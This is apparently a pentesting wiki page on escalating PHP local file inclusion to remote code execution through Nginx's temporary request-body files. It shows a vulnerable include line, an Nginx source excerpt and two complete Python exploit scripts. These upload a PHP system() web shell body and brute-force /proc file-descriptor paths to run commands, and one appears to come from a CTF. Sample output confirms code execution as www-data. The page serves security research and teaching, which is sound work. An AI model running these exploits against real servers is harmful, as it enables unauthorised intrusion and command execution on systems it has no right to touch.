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Network Services Pentesting
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Pentesting Web
LFI2RCE via Nginx temp files
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Vulnerable configuration

  • PHP code:
<?php include_once($_GET['file']);
  • FPM / PHP config:
...
php_admin_value[session.upload_progress.enabled] = 0
php_admin_value[file_uploads] = 0
...
  • Setup / hardening:
...
chown -R 0:0 /tmp /var/tmp /var/lib/php/sessions
chmod -R 000 /tmp /var/tmp /var/lib/php/sessions
...
Luckily PHP is currently often deployed via PHP-FPM and Nginx. Nginx offers an easily-overlooked client body buffering feature which will write temporary files if the client body (not limited to post) is bigger than a certain threshold.
This feature allows LFIs to be exploited without any other way of creating files, if Nginx runs as the same user as PHP (very commonly done as www-data).
Relevant Nginx code:
ngx_fd_t
ngx_open_tempfile(u_char *name, ngx_uint_t persistent, ngx_uint_t access)
{
ngx_fd_t fd;
โ€‹
fd = open((const char *) name, O_CREAT|O_EXCL|O_RDWR,
access ? access : 0600);
โ€‹
if (fd != -1 && !persistent) {
(void) unlink((const char *) name);
}
โ€‹
return fd;
}
It's visible that tempfile is unlinked immediately after being opened by Nginx. Luckily procfs can be used to still obtain a reference to the deleted file via a race:
...
/proc/34/fd:
total 0
lrwx------ 1 www-data www-data 64 Dec 25 23:56 0 -> /dev/pts/0
lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0
lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon_inode:[eventfd]
lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:[27587]
lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:[27589]
lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:[44926]
lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:[44927]
lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted)
...
Note: One cannot directly include /proc/34/fd/15 in this example as PHP's include function would resolve the path to /var/lib/nginx/body/0000001368 (deleted) which doesn't exist in in the filesystem. This minor restriction can luckily be bypassed by some indirection like: /proc/self/fd/34/../../../34/fd/15 which will finally execute the content of the deleted /var/lib/nginx/body/0000001368 file.

Full Exploit

#!/usr/bin/env python3
import sys, threading, requests
โ€‹
# exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance
# see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details
โ€‹
URL = f'http://{sys.argv[1]}:{sys.argv[2]}/'
โ€‹
# find nginx worker processes
r = requests.get(URL, params={
'file': '/proc/cpuinfo'
})
cpus = r.text.count('processor')
โ€‹
r = requests.get(URL, params={
'file': '/proc/sys/kernel/pid_max'
})
pid_max = int(r.text)
print(f'[*] cpus: {cpus}; pid_max: {pid_max}')
โ€‹
nginx_workers = []
for pid in range(pid_max):
r = requests.get(URL, params={
'file': f'/proc/{pid}/cmdline'
})
โ€‹
if b'nginx: worker process' in r.content:
print(f'[*] nginx worker found: {pid}')
โ€‹
nginx_workers.append(pid)
if len(nginx_workers) >= cpus:
break
โ€‹
done = False
โ€‹
# upload a big client body to force nginx to create a /var/lib/nginx/body/$X
def uploader():
print('[+] starting uploader')
while not done:
requests.get(URL, data='<?php system($_GET["c"]); /*' + 16*1024*'A')
โ€‹
for _ in range(16):
t = threading.Thread(target=uploader)
t.start()
โ€‹
# brute force nginx's fds to include body files via procfs
# use ../../ to bypass include's readlink / stat problems with resolving fds to `/var/lib/nginx/body/0000001150 (deleted)`
def bruter(pid):
global done
โ€‹
while not done:
print(f'[+] brute loop restarted: {pid}')
for fd in range(4, 32):
f = f'/proc/self/fd/{pid}/../../../{pid}/fd/{fd}'
r = requests.get(URL, params={
'file': f,
'c': f'id'
})
if r.text:
print(f'[!] {f}: {r.text}')
done = True
exit()
โ€‹
for pid in nginx_workers:
a = threading.Thread(target=bruter, args=(pid, ))
a.start()
Output:
$ ./pwn.py 127.0.0.1 1337
[*] cpus: 2; pid_max: 32768
[*] nginx worker found: 33
[*] nginx worker found: 34
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] brute loop restarted: 33
[+] brute loop restarted: 34
[!] /proc/self/fd/34/../../../34/fd/9: uid=33(www-data) gid=33(www-data) groups=33(www-data)

Another Exploit

import requests
import threading
import multiprocessing
import threading
import random
โ€‹
SERVER = "http://localhost:8088"
NGINX_PIDS_CACHE = set([34, 35, 36, 37, 38, 39, 40, 41])
# Set the following to True to use the above set of PIDs instead of scanning:
USE_NGINX_PIDS_CACHE = False
โ€‹
def create_requests_session():
session = requests.Session()
# Create a large HTTP connection pool to make HTTP requests as fast as possible without TCP handshake overhead
adapter = requests.adapters.HTTPAdapter(pool_connections=1000, pool_maxsize=10000)
session.mount('http://', adapter)
return session
โ€‹
def get_nginx_pids(requests_session):
if USE_NGINX_PIDS_CACHE:
return NGINX_PIDS_CACHE
nginx_pids = set()
# Scan up to PID 200
for i in range(1, 200):
cmdline = requests_session.get(SERVER + f"/?action=read&file=/proc/{i}/cmdline").text
if cmdline.startswith("nginx: worker process"):
nginx_pids.add(i)
return nginx_pids
โ€‹
def send_payload(requests_session, body_size=1024000):
try:
# The file path (/bla) doesn't need to exist - we simply need to upload a large body to Nginx and fail fast
payload = '<?php system("/readflag"); ?> //'
requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
except:
pass
โ€‹
def send_payload_worker(requests_session):
while True:
send_payload(requests_session)
โ€‹
def send_payload_multiprocess(requests_session):
# Use all CPUs to send the payload as request body for Nginx
for _ in range(multiprocessing.cpu_count()):
p = multiprocessing.Process(target=send_payload_worker, args=(requests_session,))
p.start()
โ€‹
def generate_random_path_prefix(nginx_pids):
# This method creates a path from random amount of ProcFS path components. A generated path will look like /proc/<nginx pid 1>/cwd/proc/<nginx pid 2>/root/proc/<nginx pid 3>/root
path = ""
component_num = random.randint(0, 10)
for _ in range(component_num):
pid = random.choice(nginx_pids)
if random.randint(0, 1) == 0:
path += f"/proc/{pid}/cwd"
else:
path += f"/proc/{pid}/root"
return path
โ€‹
def read_file(requests_session, nginx_pid, fd, nginx_pids):
nginx_pid_list = list(nginx_pids)
while True:
path = generate_random_path_prefix(nginx_pid_list)
path += f"/proc/{nginx_pid}/fd/{fd}"
try:
d = requests_session.get(SERVER + f"/?action=include&file={path}").text
except:
continue
# Flags are formatted as hxp{<flag>}
if "hxp" in d:
print("Found flag! ")
print(d)
โ€‹
def read_file_worker(requests_session, nginx_pid, nginx_pids):
# Scan Nginx FDs between 10 - 45 in a loop. Since files and sockets keep closing - it's very common for the request body FD to open within this range
for fd in range(10, 45):
thread = threading.Thread(target = read_file, args = (requests_session, nginx_pid, fd, nginx_pids))
thread.start()
โ€‹
def read_file_multiprocess(requests_session, nginx_pids):
for nginx_pid in nginx_pids:
p = multiprocessing.Process(target=read_file_worker, args=(requests_session, nginx_pid, nginx_pids))
p.start()
โ€‹
if __name__ == "__main__":
print('[DEBUG] Creating requests session')
requests_session = create_requests_session()
print('[DEBUG] Getting Nginx pids')
nginx_pids = get_nginx_pids(requests_session)
print(f'[DEBUG] Nginx pids: {nginx_pids}')
print('[DEBUG] Starting payload sending')
send_payload_multiprocess(requests_session)
print('[DEBUG] Starting fd readers')
read_file_multiprocess(requests_session, nginx_pids)

Labs

References

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